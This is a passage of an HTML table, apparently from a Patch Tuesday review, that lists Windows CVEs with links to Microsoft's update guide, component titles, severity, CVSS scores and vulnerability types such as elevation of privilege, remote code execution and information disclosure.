  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50374"><span>CVE-2026-50374</span></a></td>
  <td width="256" class="xl74">Windows Cloud Files
  Mini Filter Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58536"><span>CVE-2026-58536</span></a></td>
  <td width="256" class="xl74">Windows Cloud Files
  Mini Filter Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58613"><span>CVE-2026-58613</span></a></td>
  <td width="256" class="xl74">Windows Cloud Files
  Mini Filter Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50401"><span>CVE-2026-50401</span></a></td>
  <td width="256" class="xl74">Windows Cloud Files
  Mini Filter Driver Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50697"><span>CVE-2026-50697</span></a></td>
  <td width="256" class="xl74">Windows Common Log
  File System Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50667"><span>CVE-2026-50667</span></a></td>
  <td width="256" class="xl74">Windows Common Log
  File System Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50421"><span>CVE-2026-50421</span></a></td>
  <td width="256" class="xl74">Windows Connected User
  Experiences and Telemetry Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50428"><span>CVE-2026-50428</span></a></td>
  <td width="256" class="xl74">Windows Container
  Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50352"><span>CVE-2026-50352</span></a></td>
  <td width="256" class="xl74">Windows Cryptographic
  Services Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50302"><span>CVE-2026-50302</span></a></td>
  <td width="256" class="xl74">Windows Cryptographic
  Services Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55144"><span>CVE-2026-55144</span></a></td>
  <td width="256" class="xl74">Windows Cryptography
  API: Next Generation (CNG) Tampering Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50347"><span>CVE-2026-50347</span></a></td>
  <td width="256" class="xl74">Windows Data.dll
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49181"><span>CVE-2026-49181</span></a></td>
  <td width="256" class="xl74">Windows DHCP Client
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50683"><span>CVE-2026-50683</span></a></td>
  <td width="256" class="xl74">Windows DHCP Client
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58627"><span>CVE-2026-58627</span></a></td>
  <td width="256" class="xl74">Windows DHCP Server
  Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50685"><span>CVE-2026-50685</span></a></td>
  <td width="256" class="xl74">Windows DHCP Server
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49807"><span>CVE-2026-49807</span></a></td>
  <td width="256" class="xl74">Windows DirectX
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49175"><span>CVE-2026-49175</span></a></td>
  <td width="256" class="xl74">Windows DNS Client
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50487"><span>CVE-2026-50487</span></a></td>
  <td width="256" class="xl74">Windows DNS Client
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50465"><span>CVE-2026-50465</span></a></td>
  <td width="256" class="xl74">Windows DNS Client
  Tampering Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49169"><span>CVE-2026-49169</span></a></td>
  <td width="256" class="xl74">Windows DNS Server
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50426"><span>CVE-2026-50426</span></a></td>
  <td width="256" class="xl74">Windows DNS Server
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50424"><span>CVE-2026-50424</span></a></td>
  <td width="256" class="xl74">Windows Domain
  Controller Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50300"><span>CVE-2026-50300</span></a></td>
  <td width="256" class="xl74">Windows DWM Core
  Library Information Disclosure<span> 
  </span>Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50437"><span>CVE-2026-50437</span></a></td>
  <td width="256" class="xl74">Windows DWM Core
  Library Information Disclosure<span> 
  </span>Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34348"><span>CVE-2026-34348</span></a></td>
  <td width="256" class="xl74">Windows Event Logging
  Service Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50502"><span>CVE-2026-50502</span></a></td>
  <td width="256" class="xl74">Windows Event Logging
  Service Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33842"><span>CVE-2026-33842</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40422"><span>CVE-2026-40422</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41087"><span>CVE-2026-41087</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50473"><span>CVE-2026-50473</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50442"><span>CVE-2026-50442</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50389"><span>CVE-2026-50389</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50456"><span>CVE-2026-50456</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57084"><span>CVE-2026-57084</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57091"><span>CVE-2026-57091</span></a></td>
  <td width="256" class="xl74">Windows File History
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50405"><span>CVE-2026-50405</span></a></td>
  <td width="256" class="xl74">Windows Filtering
  Platform Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49172"><span>CVE-2026-49172</span></a></td>
  <td width="256" class="xl74">Windows FTP Service
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50387"><span>CVE-2026-50387</span></a></td>
  <td width="256" class="xl74">Windows GDI Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54122"><span>CVE-2026-54122</span></a></td>
  <td width="256" class="xl74">Windows GDI+ Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50483"><span>CVE-2026-50483</span></a></td>
  <td width="256" class="xl74">Windows Graphics
  Component Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58609"><span>CVE-2026-58609</span></a></td>
  <td width="256" class="xl74">Windows Graphics
  Component Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50391"><span>CVE-2026-50391</span></a></td>
  <td width="256" class="xl74">Windows Group Policy
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50310"><span>CVE-2026-50310</span></a></td>
  <td width="256" class="xl74">Windows Human
  Interface Device Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50485"><span>CVE-2026-50485</span></a></td>
  <td width="256" class="xl74">Windows Hyper-V Denial
  of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54129"><span>CVE-2026-54129</span></a></td>
  <td width="256" class="xl74">Windows Hyper-V
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50315"><span>CVE-2026-50315</span></a></td>
  <td width="256" class="xl74">Windows Image
  Acquisition Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58534"><span>CVE-2026-58534</span></a></td>
  <td width="256" class="xl74">Windows Input Method
  Editor (IME) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50490"><span>CVE-2026-50490</span></a></td>
  <td width="256" class="xl74">Windows Installer
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58540"><span>CVE-2026-58540</span></a></td>
  <td width="256" class="xl74">Windows Installer
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50425"><span>CVE-2026-50425</span></a></td>
  <td width="256" class="xl74">Windows Internal
  System User Profile Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50293"><span>CVE-2026-50293</span></a></td>
  <td width="256" class="xl74">Windows Internal Task
  Bar Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49167"><span>CVE-2026-49167</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49173"><span>CVE-2026-49173</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54132"><span>CVE-2026-54132</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49795"><span>CVE-2026-49795</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49798"><span>CVE-2026-49798</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49808"><span>CVE-2026-49808</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50354"><span>CVE-2026-50354</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50332"><span>CVE-2026-50332</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50377"><span>CVE-2026-50377</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50390"><span>CVE-2026-50390</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50423"><span>CVE-2026-50423</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50397"><span>CVE-2026-50397</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50436"><span>CVE-2026-50436</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50399"><span>CVE-2026-50399</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50459"><span>CVE-2026-50459</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50477"><span>CVE-2026-50477</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50478"><span>CVE-2026-50478</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50484"><span>CVE-2026-50484</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50673"><span>CVE-2026-50673</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58532"><span>CVE-2026-58532</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50294"><span>CVE-2026-50294</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50316"><span>CVE-2026-50316</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
